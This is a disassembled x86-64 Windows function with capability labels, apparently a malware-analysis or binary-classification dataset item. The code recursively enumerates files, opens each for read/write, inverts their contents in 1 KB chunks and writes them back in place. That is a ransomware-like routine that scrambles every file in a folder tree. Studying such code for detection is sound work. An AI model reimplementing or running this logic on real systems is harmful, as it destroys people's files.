Function at 0x140001000
Capabilities:
Enumerate files on windows
Enumerate files recursively
Read file on windows
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x7f8]
sub rsp, 0x8e0
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rbp + 0x7c0], rax
lea rdx, [rsp + 0x70]
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r14, rax
test rax, rax
je 0x1400013b1
mov esi, 0x2e2e
movzx edi, word [rbp - 0x64]
cmp di, 0x2e
je 0x14000106b
cmp di, si
jne 0x140001082
cmp byte [rbp - 0x62], 0
jne 0x140001082
lea rdx, [rsp + 0x70]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001056
jmp 0x1400013b6
movdqa xmm6, xmmword [0x140003280]
xor r15d, r15d
nop dword [rax]
movzx esi, byte [rbx]
xor edx, edx
test byte [rsp + 0x70], 0x10
mov r8d, pe_nt_image_headers64
je 0x140001158
lea rcx, [rbp + 0x1c0]
call sub.VCRUNTIME140.dll_memset
mov edx, r15d
cmp sil, 0x2a
je 0x1400010dd
nop dword [rax + rax]
cmp edx, 0x100
jae 0x1400010dd
mov ecx, edx
inc edx
cmp byte [rdx + rbx], 0x2a
movzx eax, byte [rcx + rbx]
mov byte [rbp + rcx + 0x1c0], al
jne 0x1400010c0
mov r10d, r15d
test dil, dil
je 0x140001115
lea r9, [rbp - 0x64]
mov r8d, edx
nop dword [rax]
cmp r8d, 0x100
jae 0x140001115
movzx eax, byte [r9]
inc r10d
mov ecx, r8d
inc r9
inc r8d
mov byte [rbp + rcx + 0x1c0], al
cmp byte [r9], r15b
jne 0x1400010f0
lea r8d, [r10 + rdx]
cmp r8d, 0xfd
ja 0x1400013b1
lea eax, [r8 + 1]
mov byte [rbp + rax + 0x1c0], 0x2a
lea rcx, [rbp + 0x1c0]
lea eax, [r8 + 2]
mov byte [rbp + rax + 0x1c0], r15b
mov byte [rbp + r8 + 0x1c0], 0x5c
call section..text
jmp 0x140001389
lea rcx, [rbp + 0x2c0]
call sub.VCRUNTIME140.dll_memset
mov edx, r15d
cmp sil, 0x2a
je 0x14000118d
nop dword [rax]
cmp edx, 0x100
jae 0x14000118d
mov ecx, edx
inc edx
cmp byte [rdx + rbx], 0x2a
movzx eax, byte [rcx + rbx]
mov byte [rbp + rcx + 0x2c0], al
jne 0x140001170
mov r10d, r15d
test dil, dil
je 0x1400011c5
lea r9, [rbp - 0x64]
mov r8d, edx
nop dword [rax]
cmp r8d, 0x100
jae 0x1400011c5
movzx eax, byte [r9]
inc r10d
mov ecx, r8d
inc r9
inc r8d
mov byte [rbp + rcx + 0x2c0], al
cmp byte [r9], r15b
jne 0x1400011a0
lea eax, [r10 + rdx]
cmp eax, 0xfd
ja 0x1400013b1
mov qword [rsp + 0x30], r15
lea rcx, [rbp + 0x2c0]
mov dword [rsp + 0x28], 0x10000000
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
mov byte [rbp + rax + 0x2c0], r15b
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
test rax, rax
je 0x140001389
xorps xmm0, xmm0
mov dword [rsp + 0x40], r15d
lea rax, [rsp + 0x48]
mov dword [rsp + 0x44], r15d
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r8d, 0x400
lea rdx, [rbp + 0x3c0]
mov rcx, rdi
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x58], xmm0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001380
nop dword [rax]
mov r8d, dword [rsp + 0x40]
mov edx, r15d
test r8d, r8d
je 0x14000132c
cmp r8d, 0x40
jb 0x140001301
mov r9d, r8d
mov r10d, 0x20
and r9d, 0xffffffc0
nop dword [rax + rax]
mov eax, edx
add edx, 0x40
movdqu xmm0, xmmword [rbp + rax + 0x3c0]
pandn xmm0, xmm6
movdqu xmmword [rbp + rax + 0x3c0], xmm0
lea eax, [r10 - 0x10]
movdqu xmm0, xmmword [rbp + rax + 0x3c0]
pandn xmm0, xmm6
movdqu xmmword [rbp + rax + 0x3c0], xmm0
mov eax, r10d
movdqu xmm0, xmmword [rbp + rax + 0x3c0]
pandn xmm0, xmm6
movdqu xmmword [rbp + rax + 0x3c0], xmm0
lea eax, [r10 + 0x10]
add r10d, 0x40
movdqu xmm0, xmmword [rbp + rax + 0x3c0]
pandn xmm0, xmm6
movdqu xmmword [rbp + rax + 0x3c0], xmm0
cmp edx, r9d
jb 0x140001290
cmp edx, r8d
jae 0x14000132c
mov eax, edx
mov ecx, r8d
sub ecx, edx
mov edx, ecx
lea rax, [rbp + rax + 0x3c0]
nop word [rax + rax]
not byte [rax]
lea rax, [rax + 1]
sub rdx, 1
jne 0x140001320
lea rax, [rsp + 0x48]
mov rcx, rdi
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_WriteFile]
add dword [rsp + 0x58], 0x400
lea rax, [rsp + 0x48]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r8d, 0x400
lea rdx, [rbp + 0x3c0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140001260
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x70]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x1400013a4
movzx edi, word [rbp - 0x64]
jmp 0x140001090
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x1400013b6
mov eax, 1
mov rcx, qword [rbp + 0x7c0]
xor rcx, rsp
call fcn.140001480
lea r11, [rsp + 0x8e0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop rbp
ret